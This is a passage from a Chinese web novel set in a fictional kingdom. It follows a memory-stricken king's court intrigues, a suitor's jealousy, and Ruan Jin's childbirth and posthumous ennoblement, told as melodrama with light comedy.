治理一个国家不是那么简单的,渊夜昙被迫坐到了这个位子上,便不得不负起一国之王的责任。 见渊夜昙不说话,齐颂声又道:“听闻……王上在选秀?不知王上喜欢什么样的哥儿?” 渊夜昙正在批奏疏的手顿了顿,突然意识到了什么,他终于开口道:“怎么?青书县子有话说?” 齐颂声的心当即紧张了起来,他心想王上竟然主动提起来了,他既然主动提了起来,是不是表示他也对我有心? 齐颂声缓缓跪到了渊夜昙的身前,柔声道:“王上,是……是有几句话。下臣是觉得,王后之位,代表了国之体面。方才那位的长相……着实是吓人,您若是真要立后,下臣觉得……觉得……” 渊夜昙的一张俊脸抬了起来,他淡淡扫了一眼齐颂声,心想长兴侯这个老匹夫,不光妄想把持朝政,还想把他的养子送进宫来监视他吗? 他起身,负手而立,开口道:“青书县子说的有道理,他确实不适合当王后。” 齐颂声心下惊喜,扬起一张清俊如竹的脸,满是笑意的应道:“王上也这么觉得吗?那……那王上的意思……” 如果王上对我有意,那我是不是要立刻答应? 还是要……要……假意害羞的推辞一番? 谁料渊夜昙却低低的下了旨:“那就封方才那位……为黛美人吧!” 齐颂声:?????? 齐颂声傻眼,他一脸震惊的看向渊夜昙,问道:“王上,您……您什么意思?” 渊夜昙轻轻一哼,说道:“青书县子不是说了,那位哥儿不适合当王后,那孤封他为美人不就可以了?” 齐颂声吞吞吐吐:“这……可是……可是王上……” 渊夜昙失去了耐心,说道:“好了,青书县子没事就下去吧!孤还有要务,别在这儿碍眼了。” 齐颂声心里气的不行,却没办法,只得起身先退下。 一出王宫他就气哭了,坐在马车上一边哭一边骂:“什么黛美人,又黑又丑长得像头熊,还美人!他哪里像美人了?” 一旁的哥儿小厮小声劝道:“公子,您别生气了,再哭下去该伤身了。” 齐颂声却把气都撒到了小厮的身上,一巴掌打了过去,骂道:“连你也来取笑我是不是?你是不是也觉得我长得不如那头黑熊好看?” 小厮吓的赶紧跪到了马车里,连连摇头道:“不不不不不是,是是是是是王上的审美着着着着实让人想想想想不通……” 齐颂声哭的更大声了,心想我从小被人夸赞第一哥儿,美貌无双,如今倒是好,我拼命生成了一副倾国倾城的模样,王上却看上了一个五大三粗的黑熊精! 黑熊精本精也懵了,身为一只嘤嘤怪,他也才刚哭完。 听到传旨后,他一脸迷茫的问;“内侍,你刚刚……嗝……说的都是真的?” 太监点了点头:“自是真的,黛美人还不赶快谢过王上。” 黛美人赶紧跪到了地上,嗑头谢恩道:“谢过王上!” 然而下一秒,太监却又说了一句:“只不过,王上喜清静,不喜王宫里过于吵嚷。所以,给黛美人在宫外设立了一处别院。以后,黛美人便住在那里。那边自在,您想如何热闹便如何热闹。” 黛美人有些傻眼,心想王上这是唱的哪一出? 一见面就嘲笑自己嫁不出去,竟还给自己封了个美人,却不让自己住在王宫,让自己去外面住别院? 黑熊精倒是也不蠢,知道自己不能多问,便带着身边的丫鬟小厮,还有两名长公主赐下来的小太监,去了皇帝赐给他的黛如别院。 这一点让长公主也十分不解,便跑来问自家阿弟:“你既封了刘黑郎做美人,为什么不把他留在王宫里?” 渊夜昙刚忙完,随口答道:“原来他叫刘黑郎?嗯,倒是贴切。看着心烦,让他出去和齐颂声斗吧!” 长公主也是一脑袋的问号,心想王上封一个美人,竟是为了对付青书县子? 眼下她明白了,他是不想让长兴侯把手伸到后宫里,又不好直接把人踹出去,便封了个美人,还放到宫外去给他当枪使。 不得不说,自家阿弟还是和从前一样坏。 只是长公主很是头疼,他到底喜欢什么样的哥儿,就不能给他一个标准吗? 长公主没再多问什么,只得跑去徐太医那里,问了问自家阿弟最近的脉案。 徐太医先是有些疑惑,思忖了片刻才开口道:“公主,其实……我一直有个疑惑。” 长公主问道:“哦?什么疑惑?” 徐太医道:“我观陛下脉相,像是……失了初御。” 长公主又缓缓打出一个问号,她皱眉道:“什么意思?我阿弟……破瓜了?” 徐太医满头黑线,心想男子初夜倒也不是这么说的,但他没有纠正长公主的话,只是缓缓点了点头:“是这样没错的,且不止一次,应是……过了一段正常的夫妻生活。” 长公主一脸喜色,说道:“那真是太好了!我……我去问问阿弟,他到底和睡过了!” 徐太医:??? 不是,公主殿下,您能不能委婉一点。 此时的阮锦,却是挺着孕肚,开始视查自己的船。 尉迟融已经帮他找到了合适的人选,告诉他船队可以出发了。 阮锦亲自登船给他们开了一个欢送会,先是自我介绍了一番:“在下元耳,感谢诸位壮士能接某这趟活儿。海上凶险,大家此行定是做好了有去无回的准备。但是大家安心,若是大家真的遇到了什么不测,诸位的家人,某一定会照料好的。” 慰迟融按照阮锦的要求,把这趟远洋的路线事先告诉了他们,也对他们说了有可能会发生的意外,大家都是签了生死状的。 在走之前,阮锦一人给他们发了一百两银子,这比他们出一百趟海赚的钱都要多了。 说好了如果能带回来他想要的东西,阮锦会另外再给他们一百两。 但若是身故,阮锦会一次性给他们的家人五百两,算是安抚他们的后半生。 有钱能使鬼推磨,不少人抢着干这份儿活儿,可惜阮锦只招三十个人,很多人都没排上号。 阮锦把自己的需求清单画了图,便目送趸船出了海。 结果一回来,就听说大渊的王封了一个黑熊精哥儿做美人,封号为黛,还给他在外面修了别院。 嗯,王上的八卦传的可真快,真远。 第99章 一看到黛这个词,阮锦应想到了林黛玉,又联想到黛美人的形象,阮锦的脑海中又冒出了一句话:林黛玉倒拔垂杨柳。 想到这里他更是乐不可支了,一边笑一边捂着肚子,结果不知道是不是伸着了,肚子跟着一阵的翻江倒海。 他捂着肚子坐回床上,一边安抚着肚子里的崽一边道:“这臭崽子是不是在里面蹦迪呢?不许跳了啊!里面统共就这屁大点儿的空间,晃来晃去也不嫌挤。” 四儿扶着他,忍不住也摸了一把阮锦的肚子,摸完便是一脸喜色:“哎呀,少爷,豆包小少爷真可爱!一定是个活泼的娃!” 阮锦无奈,心想还是不要太活泼了,不然上房爬屋的,自己连管都管不了。 也没个父亲,他想打怕是都打不动。 如果再随了阿蛮,那可真是…… 四儿又问道:“少爷给小少爷取名字了吗?” 阮锦点了点头,应道:“取了,叫阮豆包。” “阮豆包?”四儿满眼的疑惑,问道:“为什么要叫豆包?” 阮锦道:“软绵绵的,又甜又好吃,听着还挺可爱的。” 四儿问:“豆包是什么吃的?好吃吗?” 阮锦呵呵笑了两声,道:“知道了,大馋小子,你去买两斤红小豆,我来给你做一顿尝尝。” 四儿开心了,兴高采烈的跑去买红豆。 结果一出门就碰上了刚刚回来的九大夫,他一脸喜色,一身黑皮,连牙都显得白了几个度。 四儿皱了皱眉,差点儿没认出来,半天后才凭借他腰间别着的扇子认了出来,一脸惊讶的问道:“九哥?你你你你你去挖煤了?” 九大夫见到四儿先给了他一个大大的拥抱,问道:“阿锦呢?我有个好消息要告诉他!” 四儿指了指屋内:“刚刚笑的动了胎气,你快去给他看看。我现在要出门,就不管你们了。” 九大夫应了一声,背着药箱便窜进了屋内。 阮锦见了他也吓了一跳,猛然窜起来道:“我滴个亲娘,我还以为来了个野人。九哥,你怎么晒成这样?” 九大夫咧嘴一笑,露出两排大白牙,十分开朗的说道:“阿锦,我这次去疫区,成功挽救了上千人的性命!牛痘疫苗真的太好用了!接种过牛痘的人,全都没有染上天花。一开始那些人还不信,但见我们几个一点事都没有,又有几个家里生天花的人做了尝试,他们才陆陆续续的信了。阿锦,你真是太厉害了!你是再世医神!” 阮锦轻笑,说道:“那还真是不敢当,我也只是知识的搬运工罢了。” 而且他只有理论,能得以实现,还得靠九大夫。 九大夫上前给阮锦把了把脉,赞叹道:“嚯,这孩子,真是元气满满啊!这要是生出来,怕是个习武的好料子。” 阮锦一听更头疼了,一个哥儿,是个习武的好料子。 嗯,也行吧! 反正在他这里,哥儿和儿子也没什么太大的差别。 四儿回来,按照阮锦吩咐的方法煮了豆沙,发了面,蒸了一锅小猪形状的豆沙包。 看着那一锅胖嘟嘟的小猪,四儿和九大夫都惊了,心想阮锦不愧为食神之名,面食竟然还能做出这样的花样来。 而且它好像和普通的面食不太一样,难道是因为放了一会儿发了面,所以才会又软又嫩胖嘟嘟的吗? 阮锦分给他们一人一个小豆包,说道:“尝尝看,是不是又软又甜又好吃?” 四儿和九大夫都尝了,眼神里也都露出了惊艳的神情,纷纷点头道:“嗯嗯好吃好吃,真的好吃!” 九大夫也难得的赞了一句:“确实好吃,阿锦,你做的食物无人能出其右。” 阮锦摆了摆手,说道:“还行吧!就说这名字适不适合我们阮豆包?” 四儿嗯了一声:“确实适合做娃娃的名字,但是……也不知道们小少爷是不是只甜甜软软的小豆包。” 九大夫也笑了,就凭他把脉的经验,阮锦肚子里这个怕是个虎哥儿。 九大夫也听说了渊王封了一个美人的事,听说黛美人原名刘黑郎,看到画像的时候九大夫的魂儿快惊飞了。 他本想安慰一下阮锦的,但看他这个状态,倒不像是个需要安慰的。 饭后,阮锦问九大夫:“这次回来还出门吗?” 九大夫想了想,说道:“我……我是想多向你学习一下医学上的知识,我知道你那里的知识在这里未必能实现。但是……但是我想,只要试一试,总有机会的吧?” 阮锦明白,九大夫有一颗济世救人的心,在南越的时候,他就是有名的神医。 可惜南越和幽国有联姻的先例,他逃了婚,本来幽国是不会放过南越的,可是幽国这边正和渊国打仗,根本顾不上联姻的事儿,这些年拖过去也就罢了。 阮锦点了点头,应道:“那倒也是,有一样东西,你倒是可以试着做一下。” 九大夫的眼睛又亮了起来,问道:“哦?什么东西?” 阮锦答:“麻沸散,说是用了以后,可以让人失去知觉。可以给刮骨疗毒之人减轻疼痛,或者让动小手术的人暂时失去知觉。” “麻沸散?竟有如此神奇功效?那应该如何做呢?” 阮锦抿了抿唇,心想麻沸散的方子据说早就失传了,但他曾经看过相关的资料,便道:“曼陀罗花、草乌头、当归、川芎、白芷,这几位为主。可能还会有其余几味辅助药材,如天南星、茉莉花根、乳香等等,基本都是镇痛麻醉的作用。” 九大夫赶紧拿出了小本本,在本本上记录着,再看他用来记录的笔,竟是一根包着纸的圆形尖头墨条。 阮锦心想,不错不错,九大夫竟然做出了最早的铅笔。 麻沸散不是那么好研究的,阮锦便又画了一个简易的听诊器,应该也足够九大夫研究一段时间的了。 有了这两张方子,九大夫便天天不见人影了,到处去搜罗合适的药材和材料工具,本来就是个野人,这段时间跑的更像野人了。 阮锦则结交了一群东郡的大妈们,在家里教他们发面做馍头。 大妈的学的有模有样,东郡不愧为馍头大省,阮锦教会了她们,她们竟然还能举一反三,做出了很多漂亮的花馍。 阮锦心想他这是二把刀教了一把手,东郡的花馍可是全中原有名的! 但这也挺好,早早的让东郡的大妈们学会的蒸花馍,她们就可以创造出更多更漂亮的花馍了。 倒是带动了东郡的花馍产业,大街上有不少摊子摆起了花馍的招牌,竟还有人赚钱后给阮锦送来,说是感谢他给她们寻了一条养家的门路。 东郡的好多人都管这种馍叫元耳馍,就是为了感谢他教会了他们蒸花馍。 阮锦不敢承受这荣耀,东郡人民的花馍本来就是刻在他们骨子里的,他还真不敢居功。 在这还算平静的生活之下,京城里却又涌起了一阵风云。 这次闹事的倒不是长兴侯,而是渊王的一名弟弟,当时被封为恭顺郡伯。 这位弟弟在渊王称王的时候还很小,所以没有受到夺嫡的波及,后跟着他母亲搬离了王宫,前往了他自己的封地。 但是不知道为什么,这位弟弟却传来了谋反的消息,说他拥兵三万,欲在封地邑城称王。 阮锦听到这个消息的时候,就觉得渊王可真糟心,怎么处处都是事儿。 但他也操不了这个心了,因为此时的他已经九个多月,马上就要生了。 只是这娃过于淡定,已经超了预产期三天,却还是没有要发动的意思,阮锦天天跑去九大夫新开的医馆内问他:“他怎么还不出来?急死我了,再不出来我就要把他拉出来了!” 九大夫满头黑线,安抚道:“别急别急,瓜熟蒂落,你着急也没用啊!再说,你脉象强劲有力,这孩子不想出来,可能就是想在你肚子里多待上一段时间罢了。” 阮锦就很急,倒也不是嫌弃他一直在自己肚子里待着,主要是船到港口了,他想去船上验收自己的战利品。 可他挺着个大肚子,趸船又无法靠案,他得坐小船上去看。 当然了,也可以用小船运下来,但若是慢慢运,那一船的货物就得运上个好几天,九大夫不许他去海边,他也只能焦急的等着。 九大夫安抚他道:“阿锦啊!你想想,就算你生完了,也还要在家做上一个月的月子。倒不如安心等着,我让那些人把你的货每样给你拿几样过来让你过目。” 阮锦消停了,安安静静的坐在家里等着。 谁料九大夫刚出门没一会儿,阮锦的肚子就开始一缩一缩的疼,身下还流出了鲜血。 他疼的扶住门框,心想不会这么寸吧?九大夫刚走他就要生了? 啊啊啊真的是,臭崽子也太不会看时候了! 阮锦扶着墙回到榻上躺下,虽然他没生过孩子,身为一个男人,他也没见过猪跑,但这些时日他是看过不少关于哥儿生产的相关书籍的。 一开始他还挺害怕的,俗话说,从哪里进去,就得从哪里出来。 一想到孩子要出来的地方,阮锦就担心那孩子会不会把自己的菊部地区给撑爆了。 好在哥儿的身体构造异于常人,生育不在话下,恢复能力也极强。 只是生的时候,阮锦才知道什么叫痛彻心扉,他用嘴巴咬住腰带,一边深呼吸一边给自己鼓劲,张口却喊了一声:“阿蛮,你在哪儿……我……我好想你……” 就这样,眼泪便顺着他的脸颊流了下来,半年多的坚强,在此时溃不成军。 第100章 待到九大夫回来的时候,阮锦的孩子就已经露出头来了,吓的九大夫赶紧把身后那些人赶出去,关上门来认真给阮锦接生。 好在阮锦平常的学习能力够强,从一开始的慌乱,到后来慢慢的调整好状态,只用了十几分钟的时间。 他挂着眼泪,想着九大夫平常教他的呼吸法,脑子里想象着阿蛮将他搂在怀里的场景。 其实他一直以来都在想着阿蛮,从阿蛮离开的第一秒起,戒断反应就很痛苦。 装出一副坚强的模样,也不过是不想让朋友担心。 九大夫他们当然是明白的,就连小五义心里也清楚,都尽量不提起往事,不让他心里更难过。 会轮流过来陪他,让他身边一直有人,不让他感到孤独。 九大夫匆忙过来握住他的手,焦急的问道:“阿锦,你感觉怎么样?你别怕,胎位很正,孩子很顺,生起来应该不会有太大的难度。” 阮锦的眼角里噙着泪,应了一声道:“我……没事,就是……太他娘的疼了呜呜呜呜呜……” 为什么没有人告诉他,生个崽要疼成这样。 此时的渊都,王宫里,渊夜昙的茶杯啪的一声,莫名掉到了地上。 太监刚要上前去捡,却被渊夜昙制止了,他上前捡起一方瓷片,瓷片却轻易的割破了他的手指,鲜血瞬间滴落到了地上。 大太监吓的赶紧叫太医,却又被渊夜昙给制止了,他看着手指上一滴一滴滴落下来的鲜血,眼中露出了疑惑之色。 虽然太监们一直都知道,这位的精神状态一直有问题,这会儿也不知道又发什么疯,竟然割手指玩儿。 大太监摸不清,便转头让小太监去叫了端阳公主过来。 很快,端阳公主便快步走进了天行殿内,看到了渊夜昙手上的一条血道。 但她并没有过于担心,因为这点伤口对于经常把自己扎成筛子的渊夜昙来说连小点心都算不上。 只是他这个状态,让端阳公主有些疑惑,当即上前问道:“阿弟,你怎么了?” 渊夜昙手上拿着那张瓷片,眼中的迷惑更甚,他说道:“阿姐,我忽然有些心慌,忽然……很担心一个人。” 端阳公主第一次见到自家阿弟这个状态,她不知道这是一种怎样的感受。 从前的阿弟仿佛一具冰冷的尸体,自从他从血尸山回来,整个人就失去了所有的活气,思想和行为也不能以常人的逻辑来看。 今天他却对自己说,他在担心一个人。 端阳公主的第一感受是开心,便问道:“担心谁?是……你在东南郡桃花县时认识的人吗?” 渊夜昙却捂住了脑袋,眼神里漫上痛苦之色,他用力摇着头,说道:“我不知道,我不记得!可是……我心里突然好疼,我……我担心他出事了。阿姐……阿姐你帮我找找他好吗?你帮我……找找他,他……他现在在哪里?” 说着他忽然踹翻了满是奏疏的桌案,哗啦一声书卷洒了一地,宫地太监也跪了一地。 端阳公主上前去扶他,嘴里答应的:“好,好的,我现在就去帮你找。阿弟你别着急,我们慢慢找,一定能找到他的。” 渊夜昙的眼睛却变的赤红一片,低低的开口道:“出去!都给本王……出去!” 后面这个出去,几乎是嘶吼出来的,这一情形天行殿侍奉的宫人再清楚不过,这位王上每月一次的发疯时间又要到了。 从前发疯最多一天左右,最近却疯得更厉害了,一连封殿三天,任何人来了都不好使,都被黑羽卫拦在外面。 端阳公主赶紧组织宫人撤退,把门窗都封好,独留渊夜昙一个人在殿内。 他行尸走肉一般的把自己关进寝殿内的暗室,暗室内有一个无比坚固的铁笼,那是他在发病时的囚室。 囚室的暗格里有数根长约三寸的钢针,那是他失去理智时,强行让自己保持清醒的刑具。 把一根钢针扎入臂膀,渊夜昙的大脑清醒了一分,他努力的回忆着一些事情,却再怎么努力,也只能想起一个名字:阿锦。 他开口念出那个名字:“阿锦……阿锦是谁?他……他是谁?我……我是在担心他吗?” 鲜血顺着臂膀缓缓流了下来,流入布满血腥气的地砖内,他却始终记不起来,阿锦究竟是谁。 东郡临海,随着一阵嘹亮的婴儿啼哭声,九大夫终于松了口气。 他仔细的将刚出生的小婴儿洗净擦干,包进了柔软的小襁褓中,抱给了虚弱的阮锦看。 生的还算顺利,整个过程只持续了不到三个时辰,阮锦的精神状态也还好,虽然刚刚疼的要死要活,生完后却并没有感觉太大的不适。 就是有些虚弱,大概是消耗了太大的元气。 九大夫抱着软绵绵的小婴儿,对阮锦道:“快看阿锦,这是你的孩子,白嫩嫩的还很干净,高鼻梁双眼皮,长大了一看就很漂亮。” 阮锦虚弱的搂过小婴儿,失血的唇角勾了起来,他垂首在小婴儿的唇角亲了一口,第一句话竟是:“长得好像阿蛮啊!” 九大夫也发现了,这也是他最担心的情况,这孩子长得像阿蛮,以后阮锦每次看到他,又要忍不住陷入对阿蛮的想念里。 但阮锦说完这句话,便陷入了沉沉的昏睡,他太累了,生一个孩子比他想象中辛苦多了。 他觉得自己足足扛了五六个小时的大包才把小宝贝生下来,得好好的睡一觉才能恢复体力。 趁着这个时间,九大夫给豆沙包找了个合适的乳母,还给桃花县那边发了飞鸽传书,通知四儿他们阮锦喜得爱子,漂亮的小哥儿一枚。 看着阮锦的睡颜,再看看乳母怀里正在吃奶的阮豆包,九大夫也露出了欣慰的笑容,他心想,如果阿蛮在这里,应该也高兴坏了吧? 可谁让他是渊王呢? 怎么偏偏就是渊王呢? 这世间是谁不好,非得是渊王,只要不是渊王,不论是谁,阿锦都能和他好好过日子。 可非得是渊王,他连幽国的联姻都不愿意去,更何况是更加诡谲莫测的渊王。 抱着已经睡着了的阮豆包,九大夫的情情郁郁,但看着这么可爱的孩子,他的唇角却忍不住露出了笑意,轻轻晃了晃道:“豆沙包,你爹爹这么辛苦生下你,长大以后可要好好孝顺他呀!” 一旁的乳母见状忍不住道:“家主一看就是个好父亲,小少爷也是生在了有福之家了。” 九大夫缓缓打出一个问号,他想解释我不是这孩子的父亲,但是想想算了,他也不是第一次被误会了。 但这倒也不是什么坏事,被人误会好过豆沙包被人嘲笑没有父亲的好。 他把豆沙包放到婴儿床上,吩咐乳母道:“这段时间辛苦您,一定要照顾好这个孩子,工钱上不成问题。” 乳母一看就是个慈眉善目的,她自己的孩子刚一岁,为了养活其他孩子,便也只能断了奶。 九大夫给了她五两银子,让她安顿好家人,又给了她几斤白糖和香油,告诉他喂蛋羹加白糖香油,可以让她家里一岁多的孩子营养全面些。 乳母非常感动,简直要哭着给九大夫跪下了。 九大夫只是摆手,心想如果是阮锦,也一定会这么做的,可能会比他做的还要周全,阮锦向来是个顶顶善良的人。 阮锦这一觉便睡到了第二天中午,足足睡了六个时辰之多。 不过刚刚生产完,多睡会儿倒是好的,睡眠是恢复元气的最好途径。 九大夫上前给他搭了一下脉,嗯了一声道:“还不错,虽然你身体素质好,但也不能大意。做好月子,可是一辈子的事情。我刚给你熬好了药,先喂给你吃了。” 阮锦坐起来,问道:“四儿来了?” 九大夫嗯了一声:“快马加鞭就过来了,阿大和阿二先到的,三儿和四儿后面到的。四个人赶了一晚上的路,一到这边就给你去做月子饭了。” 阮锦笑出了声:“这几个人,大惊小怪的。” 九大夫道:“还有五儿,看那里,他把阿蛮给阮豆包做的那些玩具带过来了。我本来不想让他给你的,但是……我觉得如果是阿蛮,他肯定也希望自己这些东西给豆沙包用上吧?是我擅自做主了,如果你不喜欢,我让阿五再带回去。” 阮锦去摆了摆手,说道:“你不说我也会让人取过来的,之前天天忙,差点儿忙忘了。好在阿五有心,不愧是他师父的徒弟。” 阿蛮刚走那段时间,阿五天天哭,跪到阮锦面前问他师父去了哪里。 没办法,阮锦便把真相告诉了阿五,阿五不哭了,但开始一天到晚的努力。 白天心无旁骛的读书,晚上就一丝不苟的雕木头,把他师父给他的那几样傀儡拆了装装了拆,最后完美复刻出了一模一样的。 都觉得阿五在阿蛮走后,阿五就像变了个娃,整个娃也不爱说话了,整天只知道学习练武做傀儡。 如果是从前,阿大和阿二他们巴不得阿五好好学习别淘气贪玩。 可阿五现在天天学习一点都不贪玩了,他们倒是担心了起来,众人总觉得阿蛮的离开没有对阮锦的心理造成什么创伤,倒是把阿五给伤着了。 此时,乳母刚给豆沙包喂完了奶,把小家伙抱给了阮锦。 阮锦刚把崽崽生下来,整个人稀罕的不得了,他一脸喜色的看着那个小家伙,忍不住感慨了一句:“我可真了不起,竟然生了个人出来!” 都这个时候了,阮锦竟然还有心思开玩笑。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 100-110 第101章 渊都,携寿宫里,端阳公主又叫来了自己的贴身女官。 女官盈盈一拜,问道:“公主可是又要问选秀的事宜?可是要更改秀子的特征?” 端阳公主却摆了手,说道:“不是,我……你陪我去一趟大司农府,我要去见一见迟麟迟大人。” 女官不解,却也没有多问,只是应了一声是,便让太监准备出宫的车马了。 大司农府在渊都西市边缘,距离王宫较远,那是因为大司农喜欢种地,自己种了上百亩地,为了便于下田,他才把司农府立在了西市靠近郊区的地方。 端阳公主乘马车来到了大司农府,一个素净的小院儿就这么出现在她眼前。 她有些意外的说道:“大司农身为九卿之一,住处却这样简朴,真是让人唏嘘。” 身旁的女官轻笑,应道:“公主别看此处简朴,可是除了皇宫外守卫最为森严的地方了。” 众所周知,大司农的夫君是黑羽卫统领谢晗,谢晗练兵很有一套,他府上虽然只有十几名府兵,却是个个武艺高强。 别说是普通霄小,就连高阶傀儡师来了,也得绕道走。 端阳公主也笑了,小声逼逼:“听说谢将军是个妻管严,也不知道是不是真的。” 结果一抬头,便看到身著麻衣的大司农正抱着一名幼崽站在她几米开外。 端阳公主:……糟糕呢,蛐蛐人被听到了。 迟麟倒是没说什么,只是把怀里的崽崽放下,又和崽崽一起朝端阳公主行了个礼,开口道:“拜见端阳公主。” 一个四五岁的崽有模有样的向自己行礼,倒是把端阳公主给萌到了,她上前捏了捏小团子的脸颊,问道:“这便是谢大人和迟大人的孩子?” 迟麟嗯了一声:“小儿谢檀。” 端阳公主很喜欢这个娃,便从怀里掏了一枚玉佩出来,放到了谢檀的手上。 谢檀也没有拒绝,只是十分乖巧的朝公主行礼:“谢檀多谢公主殿下赏赐。” 端阳公主笑了,夸道:“迟大人很会教养孩子啊!这孩子真是乖巧懂事。” 迟麟知道端阳公主无事不登三宝殿,找他过来一定有事要说,便对儿子说道:“去玩儿吧阿檀,爹爹有正事要和公主殿下谈。” 谢檀应了一声,转身跑去玩儿了。 待到孩子跑远了,迟麟才问道:“公主殿下找臣何事?” 端阳公主想了想,才有些迟疑的问道:“我听说,你在桃花县赈灾的时候,和那个名叫阮锦的郎君相交甚好?” 一听公主这么问,迟麟心里便有数了,他淡淡嗯了一声,答道:“谈不上甚好,只是我请他帮过几次忙。他是个义商,做的东西非常受东南郡的百姓欢迎。甚至有些东西,已经传到了京城。比如公主殿下今日所用的香露,和宫里近日采购的牡丹帐中香,都是由他所创。重要的是,他赚了钱也没有为祸乡里,反倒是回馈乡里。修桥铺路不说,还给乡里百姓流民提供了许多工作机会,可以说养活了桃花县小一半的老百姓。” 端阳公主十分意外,垂眸片刻后才赞道:“确实是个义商。只是可惜了,早早的死了。” 关于阮锦的死亡,迟麟没有多说什么,他的想法很简单,王上不问他不答,尊重阮锦的意见。 只是哪天王一如果想起来了,那这件事怕是没可能瞒住。 黑羽卫的厉害,他身为家属可是一清二楚的。 迟麟说道:“公主过来找我,是想打听阮锦吗?” 端阳公主其实也很犹豫,他是想打听阮锦,也想知道自己弟弟和阮锦发生过什么。 徐太医诊出他阿弟失了初御,也就是说,他已经和别人睡过了,那这个人十有八九是阮锦。 但是王的私事,虽然她是王姐,却也不好对外人多说什么,只道:“我是听说这位阮锦帮了王上很多,还救了王上的命。想着他不能就这么白白死了,总得给一个死后追封什么的。” 死后追封虽然有点马后炮,但对于王族来说,追封也是给死者无上的荣耀。 如果死者还有家族,更是对这个家族的无上荣宠。 迟麟点了点头:“那确实应该给些封赏,只是……据说阮锦和阮家叔伯关系并不和睦。那两位叔叔曾在他父亲死后有意霸占他的家产,他还亲自把犯了罪的二叔送进了监狱。若是封赏,我想……便将赏赐赐予他的商号吧!据说他还有几名义兄弟正在看守他的生意,听说……呵……我也只是听说,他还有一名夫君在世。” 端阳公主:??? 还……还有一名夫君? 那……是不是表示,自家阿弟和别人共侍一夫郎? 这一消息让端阳公主如遭雷击,她不敢相信,自家阿弟失忆后竟然玩儿得如此花! 端阳公主的表情十分精彩,却没有多说什么,只是清了清嗓子道:“那……那还挺好的,就……就是……哦,我想起来了。我这次过来,是想请迟大人给我画一幅阮锦的肖像。我……我也好命人为他立碑刻墓,在乡里让人好好瞻仰。” 迟麟没有多想,只是点了点头,便铺纸研磨,给端阳公主画了一幅阮锦的肖像。 画成,端阳公主拿起画,打量着上面的俊秀夫郎,忍不住夸了一句:“好看,真是好看,难怪阿弟念……嗯……呃……念叨着要给他封赏。那个,今日便多谢大司农的墨宝,我回去便向王上请封这位阮郎君。” 迟麟没说什么,只是朝端阳公主行了个礼,送她离开了大司农府。 直到端阳公主离开,迟麟才皱了皱眉,心想不知道公主葫芦里卖的什么药。 回到王宫,天行殿的殿门仍然紧闭,黑羽卫四处巡逻,未有任何人敢靠近。 端阳公主也没靠近,知道自家弟弟瘾症发作的时候,别说是人,猛虎靠近都得被剥了皮。 这一等便又是三日,再见渊王的时候,他披头散发仿佛一只野人,身上的血渍倒是不多,胳膊上肉眼可见的扎了好几个洞。 好在这次没往心口上扎,端阳公主真的很担心,自家阿弟哪天发作起来扎不准,再把自己的心脏给扎穿了。 好在渊王的恢复力极强,像是全身都装了血包一般,瘾症一过,洗个澡,换身衣裳,又恢复了那个又疯又冷的活死人状态。 端阳公主让徐太医给他查看了一下情况,确定无碍后,才把阮锦的画像送到了他的面前,试探着问道:“阿弟……可还还记得他?” 俊秀的哥儿一双桃花眼似是含着无尽春色,在看向人的时候总是有意无意的笑着,温温柔柔的神色里又透着十足的倔强,总是把黑发束的整整齐齐,衣著却又无比朴素,倒是吃起东西来总是挑挑拣拣,不喜欢的绝不对口。 渊夜昙揉了揉眉心,问道:“阿姐……问他做甚?” 端阳公主笑了笑,说道:“他说什么也是你的救命恩人,虽说人死了,但他对王室的恩情咱们不能忘。不如,阿弟给他一个封号,也还是让他荣耀加身,还了他的救命之恩了。” 渊夜昙的手指微动,捏着那张画像不知道在想些什么,半天后才开口道:“那便封他为……明义郡伯吧!修明义祠,建明义牌坊,受百姓香火。” 端阳公主应了一声:“好的,我这便帮阿弟拟旨。” 封阮锦为明义伯这件事,很快便传遍了渊都,并传到了齐颂声的耳朵里。 齐颂声一听便皱起了眉,气道:“王上也真是小题大作!不就是无意间捡到了受伤的王上吗?换了谁不会捡?换作是我……我肯定也是会救的!封个县男乡男便是了,怎么还封上伯位了!” 大渊爵位排名:王侯伯子男,县子属于最低等的爵位里排倒数第二。 他爹给他求来的爵位,也不过是个县子,可王上一封就给他封了个郡伯,只比他爹低了一位! 封一个县伯就已经顶天了,他却给他封了个郡伯! 齐颂声气的砸了两个杯子,却被长兴侯跑来骂了一顿:“一个死人,有什么好跟他置气的?他死都死了,你把眼神给他,就是浪费你的时间。与其把精力放到一个死人的身上,不如琢磨琢磨,王上到底喜欢什么!” 齐颂声有些气,跺脚道:“可他封了一个黑熊精美人来气我!爹爹,我真的受不了这个羞辱!那个黑熊精长得那么丑,他宁愿封一个黑熊精,也不愿多看我一眼!您说他是不是故意的?” 长兴侯冷笑道:“你管他是不是故意的,如今他只是没把你看到眼里,你要做的也只是走进他的心里而已。他既然喜欢那个姓阮的,你何不效仿?只要最后他眼里有你了,何必在乎用的是什么方法?” 齐颂声微怔,半天后说道:“爹爹的意思我懂,可是……可是我不甘心!他一个乡野哥儿,凭什么和我比?” 长兴侯上前轻轻拍了拍他的手背,说道:“吃惯了山珍海味,偶尔吃些乡野味道对他来说只是新鲜。但若立后,可不仅仅是图新鲜。你只要一直守在他身边,他迟早有一天明白谁才是更适合做王后。” 齐颂声似是终于听了进去,他缓缓点了点头,准备明天再入宫去刷一下存在感。 封爵位的消息传到阮锦那里的时候,阮锦已经出了月子,他怀里抱着豆沙包,一脸喜色的说道:“哦?封了爵位?想不到我竟也有收获爵位的一天啊!” 他本来已经规划好了,出了月子就把货船运来的东西整理一下,看看有没有可以拿来好好推一下的奇货。 一听说自己封了爵位,阮锦肉眼可见的兴高采烈起来。 第102章 阮锦乐呵呵的看着那些封赏物资,听说渊王还给他在桃花县立了碑,建了明义祠堂,还立了明义牌坊,嘴巴咧的都快到了耳根。 九哥有些意外的问道:“我以为你会对这些虚无的东西不感兴趣的,现在看来你还挺喜欢?” 阮锦道:“为什么不喜欢?渊王是有钱哈,直接赏了我黄金万两,还赏了我义商牌匾。最重要的就是这个义商牌匾,以后我做生意,可就全靠它了!” 由于明面上阮锦已经死了,所以是阿大他们接的旨,当时就把忠贞明义的牌坊挂到了奇货可居的上面。 至于那些千奇百怪的赏赐,则当夜就派人给阮锦送了过来。 阮锦特别高兴,说道:“这些黄金,够我挥霍老长一段时间了。既然渊王给了本钱,那咱也不能浪费了,快快把船上的那批货给我从仓库里搬出来,我要看看他们都给我带回来了哪些好东西。” 有没有他心心念念的辣椒种子? 如果有的话,他就可以安安心心的吃火锅了! 